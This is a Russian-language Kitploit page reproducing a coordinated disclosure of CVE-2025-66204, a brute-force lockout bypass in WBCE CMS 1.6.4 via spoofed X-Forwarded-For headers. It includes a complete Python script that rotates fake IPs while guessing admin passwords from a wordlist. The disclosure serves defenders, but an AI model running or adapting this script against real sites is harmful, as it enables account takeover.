Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66204 — CVE-2025-66204 - WBCE CMS allows brute-force protection bypass using X-Forwarded-For header | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2025-66204
Vulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationPapers & ResearchLearning & Education
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204 - WBCE CMS allows brute-force protection bypass using X-Forwarded-For header

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-66204: WBCE CMS позволяет обходить защиту от подбора пароля с помощью заголовка X-Forwarded-For

Обзор

ПолеОписание
Идентификатор CVECVE-2025-66204
СерьёзностьСРЕДНЯЯ
УведомлениеПосмотреть уведомление
ОбнаруженоLukasz Rybak

Затронутые продукты

  • WBCE/WBCE_CMS

Подробности

Краткое описание

В WBCE CMS 1.6.4 существует возможность обхода защиты от подбора пароля. Механизм ограничения входа блокирует IP-адрес после 5 неудачных попыток входа. Однако приложение полностью доверяет заголовку X-Forwarded-For, не проверяя его и не ограничивая его использование.

Изменяя X-Forwarded-For в каждом запросе, злоумышленник может бесконечно сбрасывать счётчик и получать неограниченное количество попыток подбора пароля, фактически обходя всю защиту от подбора.

Подробности

WBCE CMS определяет IP-адрес клиента по следующей логике:

  1. Если запрос содержит заголовок X-Forwarded-For, приложение слепо доверяет его значению.
  2. В противном случае используется REMOTE_ADDR.

Хотя WBCE по умолчанию не работает за обратным прокси-сервером, конечная точка входа всё равно обрабатывает X-Forwarded-For, когда он присутствует, даже если он добавлен вручную клиентом.

Поскольку приложение не проверяет, что запрос исходит от доверенного прокси-сервера, злоумышленник может внедрить собственный заголовок X-Forwarded-For с произвольным IP-адресом.

Это приводит к следующему:

  • злоумышленник отправляет 5 неверных паролей с X-Forwarded-For: 10.0.0.1 → этот IP блокируется
  • злоумышленник отправляет следующий запрос с X-Forwarded-For: 10.0.0.2 → обрабатывается как совершенно новый IP
  • защита от подбора может быть бесконечно обойдена

Такое поведение воспроизводится на чистой установке по умолчанию без обратного прокси-сервера перед WBCE CMS.

PoC

Шаги

Попробуйте войти с неправильным паролем и отправьте заголовок:

X-Forwarded-For: 10.0.0.10

Повторяйте, пока не произойдет блокировка (после 5 попыток). изображение

Измените заголовок на:

X-Forwarded-For: 10.0.0.11

Попытки входа сбрасываются и снова разрешаются. изображение

Перебирайте 10.0.0.x и подбирайте пароль без каких-либо ограничений.

Автоматизированный скрипт PoC

Я создал скрипт на Python, который автоматически выполняет атаку, меняя поддельные IP-адреса каждые четыре попытки и обнаруживая успешный вход.

изображение ... изображение изображение

Это доказывает полный обход защиты.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Воздействие

  1. Неограниченный подбор паролей для любой учётной записи;
  2. Возможная компрометация учётных записей администратора;
  3. Отсутствие ограничения частоты запросов;

Ссылки

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Отказ от ответственности

Этот CVE был ответственно раскрыт в соответствии с практикой скоординированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных и защитных целей.

Скачать инструмент